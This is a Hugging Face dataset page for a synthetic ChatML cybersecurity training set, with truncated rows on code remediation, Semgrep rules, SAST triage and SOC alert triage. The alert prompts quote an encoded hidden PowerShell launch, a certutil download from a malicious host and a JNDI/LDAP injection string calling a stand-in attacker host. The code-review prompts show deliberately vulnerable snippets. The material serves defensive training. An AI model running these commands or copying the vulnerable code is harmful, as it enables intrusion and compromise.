messages listlengths 3 3 |
|---|
[
{
"role": "system",
"content": "You are a Principal Security Architect specializing in reviewing and hardening AI-generated software."
},
{
"role": "user",
"content": "Audit this AI snippet before I merge the PR into master:\n```\nimport yaml\n\ndef load_model_config(config_text):\n return ya... |
[
{
"role": "system",
"content": "You are a master secure coding software engineer and vulnerability mitigation expert."
},
{
"role": "user",
"content": "Remediate CWE-121: Write a C function to safely copy text into a stack buffer without buffer overflow."
},
{
"role": "assistant",
"c... |
[
{
"role": "system",
"content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist."
},
{
"role": "user",
"content": "[SOC Triage Request] Review the following telemetry alert:\nWindows Event ID 4624: An account was successfully logged on.... |
[
{
"role": "system",
"content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules."
},
{
"role": "user",
"content": "Write a valid Semgrep YAML rule with id 'c-unsafe-scanf-s' to detect: Unbounded scanf string reading causes buffer overflo... |
[
{
"role": "system",
"content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules."
},
{
"role": "user",
"content": "Create a Semgrep rule to detect Crypto.Cipher.DES.new(...) in python. Enforce valid schema."
},
{
"role": "assista... |
[
{
"role": "system",
"content": "You are a master secure coding software engineer and vulnerability mitigation expert."
},
{
"role": "user",
"content": "Remediate CWE-287: Write a Python FastAPI route that prevents IDOR by enforcing tenant authorization."
},
{
"role": "assistant",
"co... |
[
{
"role": "system",
"content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist."
},
{
"role": "user",
"content": "[SOC Triage Request] Review the following telemetry alert:\npowershell.exe -NoP -NonI -W Hidden -Exec Bypass -EncodedComm... |
[
{
"role": "system",
"content": "You are a Principal Security Architect specializing in reviewing and hardening AI-generated software."
},
{
"role": "user",
"content": "Our Copilot suggested this function. Can an attacker exploit it?\n```\n@app.route('/fetch-webhook')\ndef fetch_url():\n url =... |
[
{
"role": "system",
"content": "You are a master secure coding software engineer and vulnerability mitigation expert."
},
{
"role": "user",
"content": "Remediate CWE-287: Write a Python FastAPI route that prevents IDOR by enforcing tenant authorization."
},
{
"role": "assistant",
"co... |
[
{
"role": "system",
"content": "You are a Principal Security Architect specializing in reviewing and hardening AI-generated software."
},
{
"role": "user",
"content": "Our Copilot suggested this function. Can an attacker exploit it?\n```\ndef search_products(conn, search_term):\n cursor = con... |
[
{
"role": "system",
"content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist."
},
{
"role": "user",
"content": "[SOC Triage Request] Review the following telemetry alert:\nSecurity Event ID 4768: Kerberos TGT Request\nTargetUserName:... |
[
{
"role": "system",
"content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules."
},
{
"role": "user",
"content": "Create a Semgrep rule to detect \"...AKIA[0-9A-Z]{16}...\" in python. Enforce valid schema."
},
{
"role": "assista... |
[
{
"role": "system",
"content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules."
},
{
"role": "user",
"content": "Generate a production CI/CD Semgrep rule targeting 'telnet-client-used' for python codebases with severity ERROR."
},
... |
[
{
"role": "system",
"content": "You are a Principal Security Architect specializing in reviewing and hardening AI-generated software."
},
{
"role": "user",
"content": "Security review required: Check this AI-written service for OWASP Top 10 flaws:\n```\nvoid log_user_action(const char *user, con... |
[
{
"role": "system",
"content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules."
},
{
"role": "user",
"content": "Create a Semgrep rule to detect hashlib.sha1(...) in python. Enforce valid schema."
},
{
"role": "assistant",
... |
[
{
"role": "system",
"content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules."
},
{
"role": "user",
"content": "Generate a production CI/CD Semgrep rule targeting 'insecure-md5' for python codebases with severity WARNING."
},
{
... |
[
{
"role": "system",
"content": "You are a Principal DevSecOps Security Engineer specializing in Static Analysis (SAST) alert triage and false-positive suppression."
},
{
"role": "user",
"content": "A static security scanner triggered a high-severity alert on this code:\n```\nroot = defusedxml.El... |
[
{
"role": "system",
"content": "You are a master secure coding software engineer and vulnerability mitigation expert."
},
{
"role": "user",
"content": "Remediate CWE-476: Write a C function to safely read from a struct pointer with rigorous NULL checking."
},
{
"role": "assistant",
"... |
[
{
"role": "system",
"content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist."
},
{
"role": "user",
"content": "[SOC Triage Request] Review the following telemetry alert:\nSysmon Event ID 1: Process Creation\nCommandLine: vssadmin.ex... |
[
{
"role": "system",
"content": "You are a master secure coding software engineer and vulnerability mitigation expert."
},
{
"role": "user",
"content": "Remediate CWE-476: Write a C function to safely read from a struct pointer with rigorous NULL checking."
},
{
"role": "assistant",
"... |
[
{
"role": "system",
"content": "You are a master secure coding software engineer and vulnerability mitigation expert."
},
{
"role": "user",
"content": "Remediate CWE-78: Write a safe Python ping function using subprocess that completely prevents command injection."
},
{
"role": "assistan... |
[
{
"role": "system",
"content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules."
},
{
"role": "user",
"content": "Create a Semgrep rule to detect socket.bind(('0.0.0.0', ...)) in python. Enforce valid schema."
},
{
"role": "assi... |
[
{
"role": "system",
"content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist."
},
{
"role": "user",
"content": "[SOC Triage Request] Review the following telemetry alert:\nSysmon Event ID 10: Process Access\nSourceImage: C:\\Windows\... |
[
{
"role": "system",
"content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules."
},
{
"role": "user",
"content": "Create a Semgrep rule to detect subprocess.$FUNC(..., shell=True, ...) in python. Enforce valid schema."
},
{
"rol... |
[
{
"role": "system",
"content": "You are a master secure coding software engineer and vulnerability mitigation expert."
},
{
"role": "user",
"content": "Remediate CWE-78: Write a safe Python ping function using subprocess that completely prevents command injection."
},
{
"role": "assistan... |
[
{
"role": "system",
"content": "You are a master secure coding software engineer and vulnerability mitigation expert."
},
{
"role": "user",
"content": "Remediate CWE-22: Write a Python function to serve files from a base directory preventing path traversal."
},
{
"role": "assistant",
... |
[
{
"role": "system",
"content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules."
},
{
"role": "user",
"content": "Create a Semgrep rule to detect \"...-----BEGIN RSA PRIVATE KEY-----\"...\" in python. Enforce valid schema."
},
{
... |
[
{
"role": "system",
"content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist."
},
{
"role": "user",
"content": "[SOC Triage Request] Review the following telemetry alert:\nAWS CloudTrail Event: AttachUserPolicy\nEventTime: 2026-11-04... |
[
{
"role": "system",
"content": "You are a master secure coding software engineer and vulnerability mitigation expert."
},
{
"role": "user",
"content": "Remediate CWE-287: Write a Python FastAPI route that prevents IDOR by enforcing tenant authorization."
},
{
"role": "assistant",
"co... |
[
{
"role": "system",
"content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules."
},
{
"role": "user",
"content": "Create a Semgrep rule to detect telnetlib.Telnet(...) in python. Enforce valid schema."
},
{
"role": "assistant",
... |
[
{
"role": "system",
"content": "You are a Principal Security Architect specializing in reviewing and hardening AI-generated software."
},
{
"role": "user",
"content": "Audit this AI snippet before I merge the PR into master:\n```\nfunction UserComment({ commentHtml }) {\n return <div dangerou... |
[
{
"role": "system",
"content": "You are a Principal Security Architect specializing in reviewing and hardening AI-generated software."
},
{
"role": "user",
"content": "Perform static security verification on this code block:\n```\ndef search_products(conn, search_term):\n cursor = conn.cursor... |
[
{
"role": "system",
"content": "You are a Principal Security Architect specializing in reviewing and hardening AI-generated software."
},
{
"role": "user",
"content": "Audit this AI snippet before I merge the PR into master:\n```\nfunction UserComment({ commentHtml }) {\n return <div dangerou... |
[
{
"role": "system",
"content": "You are a master secure coding software engineer and vulnerability mitigation expert."
},
{
"role": "user",
"content": "Remediate CWE-121: Write a C function to safely copy text into a stack buffer without buffer overflow."
},
{
"role": "assistant",
"c... |
[
{
"role": "system",
"content": "You are a Principal DevSecOps Security Engineer specializing in Static Analysis (SAST) alert triage and false-positive suppression."
},
{
"role": "user",
"content": "A static security scanner triggered a high-severity alert on this code:\n```\ncursor.execute('SELE... |
[
{
"role": "system",
"content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules."
},
{
"role": "user",
"content": "Create a Semgrep rule to detect gets($BUF) in c. Enforce valid schema."
},
{
"role": "assistant",
"content": "... |
[
{
"role": "system",
"content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist."
},
{
"role": "user",
"content": "[SOC Triage Request] Review the following telemetry alert:\npowershell.exe -NoP -NonI -W Hidden -Exec Bypass -EncodedComm... |
[
{
"role": "system",
"content": "You are a Principal DevSecOps Security Engineer specializing in Static Analysis (SAST) alert triage and false-positive suppression."
},
{
"role": "user",
"content": "A static security scanner triggered a high-severity alert on this code:\n```\nsubprocess.run(['ffm... |
[
{
"role": "system",
"content": "You are a Principal Security Architect specializing in reviewing and hardening AI-generated software."
},
{
"role": "user",
"content": "Security review required: Check this AI-written service for OWASP Top 10 flaws:\n```\ndef authenticate(token: str):\n payload... |
[
{
"role": "system",
"content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist."
},
{
"role": "user",
"content": "[SOC Triage Request] Review the following telemetry alert:\nAWS CloudTrail Event: AttachUserPolicy\nEventTime: 2026-11-04... |
[
{
"role": "system",
"content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist."
},
{
"role": "user",
"content": "[SOC Triage Request] Review the following telemetry alert:\nSecurity Event ID 4768: Kerberos TGT Request\nTargetUserName:... |
[
{
"role": "system",
"content": "You are a Principal Security Architect specializing in reviewing and hardening AI-generated software."
},
{
"role": "user",
"content": "Audit this AI snippet before I merge the PR into master:\n```\napp.post('/api/login', async (req, res) => {\n const { usernam... |
[
{
"role": "system",
"content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist."
},
{
"role": "user",
"content": "[SOC Triage Request] Review the following telemetry alert:\nSuricata Alert: ET MALWARE Cobalt Strike Malleable C2 HTTP Tr... |
[
{
"role": "system",
"content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules."
},
{
"role": "user",
"content": "Create a Semgrep rule to detect tempfile.mktemp(...) in python. Enforce valid schema."
},
{
"role": "assistant",
... |
[
{
"role": "system",
"content": "You are a Principal Security Architect specializing in reviewing and hardening AI-generated software."
},
{
"role": "user",
"content": "Our Copilot suggested this function. Can an attacker exploit it?\n```\nvoid log_user_action(const char *user, const char *action... |
[
{
"role": "system",
"content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist."
},
{
"role": "user",
"content": "[SOC Triage Request] Review the following telemetry alert:\ncmd.exe /c certutil.exe -urlcache -split -f http://malicious-... |
[
{
"role": "system",
"content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules."
},
{
"role": "user",
"content": "Create a Semgrep rule to detect yaml.load($INPUT, Loader=yaml.Loader) in python. Enforce valid schema."
},
{
"role... |
[
{
"role": "system",
"content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist."
},
{
"role": "user",
"content": "[SOC Triage Request] Review the following telemetry alert:\nSecurity Event ID 4768: Kerberos TGT Request\nTargetUserName:... |
[
{
"role": "system",
"content": "You are a master secure coding software engineer and vulnerability mitigation expert."
},
{
"role": "user",
"content": "Remediate CWE-22: Write a Python function to serve files from a base directory preventing path traversal."
},
{
"role": "assistant",
... |
[
{
"role": "system",
"content": "You are a Principal DevSecOps Security Engineer specializing in Static Analysis (SAST) alert triage and false-positive suppression."
},
{
"role": "user",
"content": "A static security scanner triggered a high-severity alert on this code:\n```\nif os.path.commonpat... |
[
{
"role": "system",
"content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules."
},
{
"role": "user",
"content": "Create a Semgrep rule to detect strcat($DST, $SRC) in c. Enforce valid schema."
},
{
"role": "assistant",
"con... |
[
{
"role": "system",
"content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist."
},
{
"role": "user",
"content": "[SOC Triage Request] Review the following telemetry alert:\nSysmon Event ID 10: Process Access\nSourceImage: C:\\Windows\... |
[
{
"role": "system",
"content": "You are a Principal Security Architect specializing in reviewing and hardening AI-generated software."
},
{
"role": "user",
"content": "Audit this AI snippet before I merge the PR into master:\n```\nfunc convertDoc(userInput string) {\n cmd := exec.Command(\"sh... |
[
{
"role": "system",
"content": "You are a master secure coding software engineer and vulnerability mitigation expert."
},
{
"role": "user",
"content": "Remediate CWE-287: Write a Python FastAPI route that prevents IDOR by enforcing tenant authorization."
},
{
"role": "assistant",
"co... |
[
{
"role": "system",
"content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules."
},
{
"role": "user",
"content": "Generate a production CI/CD Semgrep rule targeting 'flask-template-xss' for python codebases with severity ERROR."
},
... |
[
{
"role": "system",
"content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules."
},
{
"role": "user",
"content": "Create a Semgrep rule to detect strcpy($DST, $SRC) in c. Enforce valid schema."
},
{
"role": "assistant",
"con... |
[
{
"role": "system",
"content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules."
},
{
"role": "user",
"content": "Create a Semgrep rule to detect flask.render_template_string($INPUT) in python. Enforce valid schema."
},
{
"role"... |
[
{
"role": "system",
"content": "You are a Principal DevSecOps Security Engineer specializing in Static Analysis (SAST) alert triage and false-positive suppression."
},
{
"role": "user",
"content": "A static security scanner triggered a high-severity alert on this code:\n```\nroot = defusedxml.El... |
[
{
"role": "system",
"content": "You are a master secure coding software engineer and vulnerability mitigation expert."
},
{
"role": "user",
"content": "Remediate CWE-287: Write a Python FastAPI route that prevents IDOR by enforcing tenant authorization."
},
{
"role": "assistant",
"co... |
[
{
"role": "system",
"content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist."
},
{
"role": "user",
"content": "[SOC Triage Request] Review the following telemetry alert:\npowershell.exe -NoP -NonI -W Hidden -Exec Bypass -EncodedComm... |
[
{
"role": "system",
"content": "You are a Principal DevSecOps Security Engineer specializing in Static Analysis (SAST) alert triage and false-positive suppression."
},
{
"role": "user",
"content": "A static security scanner triggered a high-severity alert on this code:\n```\nroot = defusedxml.El... |
[
{
"role": "system",
"content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules."
},
{
"role": "user",
"content": "Create a Semgrep rule to detect tmpnam($BUF) in c. Enforce valid schema."
},
{
"role": "assistant",
"content":... |
[
{
"role": "system",
"content": "You are a Principal Security Architect specializing in reviewing and hardening AI-generated software."
},
{
"role": "user",
"content": "Perform static security verification on this code block:\n```\ndef authenticate(token: str):\n payload = jwt.decode(token, op... |
[
{
"role": "system",
"content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist."
},
{
"role": "user",
"content": "[SOC Triage Request] Review the following telemetry alert:\nSuricata Alert: ET MALWARE Cobalt Strike Malleable C2 HTTP Tr... |
[
{
"role": "system",
"content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist."
},
{
"role": "user",
"content": "[SOC Triage Request] Review the following telemetry alert:\nSuricata Alert: ET MALWARE Cobalt Strike Malleable C2 HTTP Tr... |
[
{
"role": "system",
"content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules."
},
{
"role": "user",
"content": "Create a Semgrep rule to detect hashlib.sha1(...) in python. Enforce valid schema."
},
{
"role": "assistant",
... |
[
{
"role": "system",
"content": "You are a Principal DevSecOps Security Engineer specializing in Static Analysis (SAST) alert triage and false-positive suppression."
},
{
"role": "user",
"content": "A static security scanner triggered a high-severity alert on this code:\n```\nroot = defusedxml.El... |
[
{
"role": "system",
"content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist."
},
{
"role": "user",
"content": "[SOC Triage Request] Review the following telemetry alert:\nSysmon Event ID 1: Process Creation\nCommandLine: vssadmin.ex... |
[
{
"role": "system",
"content": "You are a Principal Security Architect specializing in reviewing and hardening AI-generated software."
},
{
"role": "user",
"content": "Perform static security verification on this code block:\n```\ndef authenticate(token: str):\n payload = jwt.decode(token, op... |
[
{
"role": "system",
"content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules."
},
{
"role": "user",
"content": "Write a valid Semgrep YAML rule with id 'xml-minidom-parse' to detect: Detect XML parsing vulnerable to entity expansion a... |
[
{
"role": "system",
"content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules."
},
{
"role": "user",
"content": "Create a Semgrep rule to detect strcat($DST, $SRC) in c. Enforce valid schema."
},
{
"role": "assistant",
"con... |
[
{
"role": "system",
"content": "You are a Principal Security Architect specializing in reviewing and hardening AI-generated software."
},
{
"role": "user",
"content": "Is this AI-generated code secure for production deployment?\n```\nimport yaml\n\ndef load_model_config(config_text):\n return... |
[
{
"role": "system",
"content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules."
},
{
"role": "user",
"content": "Create a Semgrep rule to detect xml.dom.minidom.parse(...) in python. Enforce valid schema."
},
{
"role": "assista... |
[
{
"role": "system",
"content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist."
},
{
"role": "user",
"content": "[SOC Triage Request] Review the following telemetry alert:\nSysmon Event ID 1: Process Creation\nCommandLine: vssadmin.ex... |
[
{
"role": "system",
"content": "You are a Principal Security Architect specializing in reviewing and hardening AI-generated software."
},
{
"role": "user",
"content": "Perform static security verification on this code block:\n```\napp.post('/api/login', async (req, res) => {\n const { usernam... |
[
{
"role": "system",
"content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist."
},
{
"role": "user",
"content": "[SOC Triage Request] Review the following telemetry alert:\nAWS CloudTrail Event: AttachUserPolicy\nEventTime: 2026-11-04... |
[
{
"role": "system",
"content": "You are a Principal Security Architect specializing in reviewing and hardening AI-generated software."
},
{
"role": "user",
"content": "Security review required: Check this AI-written service for OWASP Top 10 flaws:\n```\nvoid log_user_action(const char *user, con... |
[
{
"role": "system",
"content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist."
},
{
"role": "user",
"content": "[SOC Triage Request] Review the following telemetry alert:\nAWS CloudTrail Event: AttachUserPolicy\nEventTime: 2026-11-04... |
[
{
"role": "system",
"content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules."
},
{
"role": "user",
"content": "Create a Semgrep rule to detect hashlib.sha1(...) in python. Enforce valid schema."
},
{
"role": "assistant",
... |
[
{
"role": "system",
"content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist."
},
{
"role": "user",
"content": "[SOC Triage Request] Review the following telemetry alert:\nEvent ID 4769: A Kerberos service ticket was requested.\nServ... |
[
{
"role": "system",
"content": "You are a Principal Security Architect specializing in reviewing and hardening AI-generated software."
},
{
"role": "user",
"content": "Security review required: Check this AI-written service for OWASP Top 10 flaws:\n```\nfunc convertDoc(userInput string) {\n c... |
[
{
"role": "system",
"content": "You are a master secure coding software engineer and vulnerability mitigation expert."
},
{
"role": "user",
"content": "Remediate CWE-323: Write a Python function to encrypt data with AES-GCM ensuring unique nonce generation."
},
{
"role": "assistant",
... |
[
{
"role": "system",
"content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules."
},
{
"role": "user",
"content": "Create a Semgrep rule to detect \"Access-Control-Allow-Origin\": \"*\" in python. Enforce valid schema."
},
{
"rol... |
[
{
"role": "system",
"content": "You are a Principal Security Architect specializing in reviewing and hardening AI-generated software."
},
{
"role": "user",
"content": "Perform static security verification on this code block:\n```\n@app.route('/stripe-webhook', methods=['POST'])\ndef handle_webho... |
[
{
"role": "system",
"content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist."
},
{
"role": "user",
"content": "[SOC Triage Request] Review the following telemetry alert:\npowershell.exe -NoP -NonI -W Hidden -Exec Bypass -EncodedComm... |
[
{
"role": "system",
"content": "You are a Principal DevSecOps Security Engineer specializing in Static Analysis (SAST) alert triage and false-positive suppression."
},
{
"role": "user",
"content": "A static security scanner triggered a high-severity alert on this code:\n```\ncursor.execute('SELE... |
[
{
"role": "system",
"content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist."
},
{
"role": "user",
"content": "[SOC Triage Request] Review the following telemetry alert:\nSuricata Alert: ET MALWARE Cobalt Strike Malleable C2 HTTP Tr... |
[
{
"role": "system",
"content": "You are a master secure coding software engineer and vulnerability mitigation expert."
},
{
"role": "user",
"content": "Remediate CWE-287: Write a Python FastAPI route that prevents IDOR by enforcing tenant authorization."
},
{
"role": "assistant",
"co... |
[
{
"role": "system",
"content": "You are a Principal Security Architect specializing in reviewing and hardening AI-generated software."
},
{
"role": "user",
"content": "Security review required: Check this AI-written service for OWASP Top 10 flaws:\n```\n@app.route('/fetch-webhook')\ndef fetch_ur... |
[
{
"role": "system",
"content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules."
},
{
"role": "user",
"content": "Create a Semgrep rule to detect app.run(..., debug=True, ...) in python. Enforce valid schema."
},
{
"role": "assi... |
[
{
"role": "system",
"content": "You are a Principal DevSecOps Security Engineer specializing in Static Analysis (SAST) alert triage and false-positive suppression."
},
{
"role": "user",
"content": "A static security scanner triggered a high-severity alert on this code:\n```\nroot = defusedxml.El... |
[
{
"role": "system",
"content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules."
},
{
"role": "user",
"content": "Create a Semgrep rule to detect hashlib.sha1(...) in python. Enforce valid schema."
},
{
"role": "assistant",
... |
[
{
"role": "system",
"content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist."
},
{
"role": "user",
"content": "[SOC Triage Request] Review the following telemetry alert:\nGET /api/v1/search?q=${jndi:ldap://c2.evil-attacker.net:1389/... |
[
{
"role": "system",
"content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist."
},
{
"role": "user",
"content": "[SOC Triage Request] Review the following telemetry alert:\npowershell.exe -NoP -NonI -W Hidden -Exec Bypass -EncodedComm... |
[
{
"role": "system",
"content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist."
},
{
"role": "user",
"content": "[SOC Triage Request] Review the following telemetry alert:\nGET /api/v1/search?q=${jndi:ldap://c2.evil-attacker.net:1389/... |
[
{
"role": "system",
"content": "You are a Principal DevSecOps Security Engineer specializing in Static Analysis (SAST) alert triage and false-positive suppression."
},
{
"role": "user",
"content": "A static security scanner triggered a high-severity alert on this code:\n```\nsubprocess.run(['ffm... |
[
{
"role": "system",
"content": "You are a Principal Security Architect specializing in reviewing and hardening AI-generated software."
},
{
"role": "user",
"content": "Our Copilot suggested this function. Can an attacker exploit it?\n```\nfunc convertDoc(userInput string) {\n cmd := exec.Comm... |
[
{
"role": "system",
"content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist."
},
{
"role": "user",
"content": "[SOC Triage Request] Review the following telemetry alert:\nSuricata Alert: ET MALWARE Cobalt Strike Malleable C2 HTTP Tr... |
[
{
"role": "system",
"content": "You are a Principal Security Architect specializing in reviewing and hardening AI-generated software."
},
{
"role": "user",
"content": "Security review required: Check this AI-written service for OWASP Top 10 flaws:\n```\n@app.route('/download')\ndef download_file... |
[
{
"role": "system",
"content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules."
},
{
"role": "user",
"content": "Create a Semgrep rule to detect eval(...) in python. Enforce valid schema."
},
{
"role": "assistant",
"content... |
End of preview. Expand in Data Studio
π‘οΈ Cybersecurity Dataset V2 (Multi-Turn Chat & Framework Expansion)
Cybersecurity Dataset V2 is an expanded conversational dataset for training language models in multi-turn secure code review, vulnerability mitigation, and software security auditing.
The dataset consists of 2,000 conversational instances formatted in OpenAI / ChatML multi-turn structure (system, user, assistant), partitioned into:
- Train Split (
train.jsonl): 1,800 examples (90%). - Validation Split (
eval.jsonl): 200 examples (10%).
π Data Provenance & Sources: Where the Data Came From
Cybersecurity Dataset V2 expands upon earlier vulnerability catalogs by focusing on multi-turn code review and automated remediation:
- Open Source Vulnerabilities (OSV.dev) & GitHub Security Advisories (GHSA):
- Vulnerability descriptions, advisories, and commit-level patch pairs from open-source repositories in Python, JavaScript/Node.js, Go, Java, and C/C++.
- OWASP Top 10 Web Application Security Risks:
- Real-world vulnerability scenarios covering:
- Broken Access Control (A01) & IDOR
- Cryptographic Failures (A02) & weak PRNG/ciphers
- Injection (A03): SQLi, Command Injection, LDAP, SSTI
- Insecure Design (A04)
- Security Misconfiguration (A05)
- Vulnerable & Outdated Components (A06)
- Identification & Authentication Failures (A07)
- Software & Data Integrity Failures (A08)
- Security Logging & Monitoring Failures (A09)
- Server-Side Request Forgery (SSRF, A10)
- Real-world vulnerability scenarios covering:
- AI-Generated Code Flaw Corpora:
- Common security anti-patterns generated by generative coding assistants (unvalidated user input, disabled SSL verification, regex denial of service / ReDoS, insecure file uploads) paired with secure developer refactorings.
π Data Schema
Each sample is formatted using ChatML conversational turns:
{
"messages": [
{
"role": "system",
"content": "You are a Principal Security Architect specializing in reviewing and hardening software implementations."
},
{
"role": "user",
"content": "Remediate CWE-22: Write a Python function that securely reads a user-requested file within an allowed directory without allowing directory traversal."
},
{
"role": "assistant",
"content": "Here is the secure, hardened implementation utilizing canonical path resolution..."
}
]
}
βοΈ Intended Use & Ethics
This dataset is released strictly for defensive cybersecurity research and training automated code defense systems. It does NOT contain exploit payloads or offensive tools.
- Downloads last month
- 85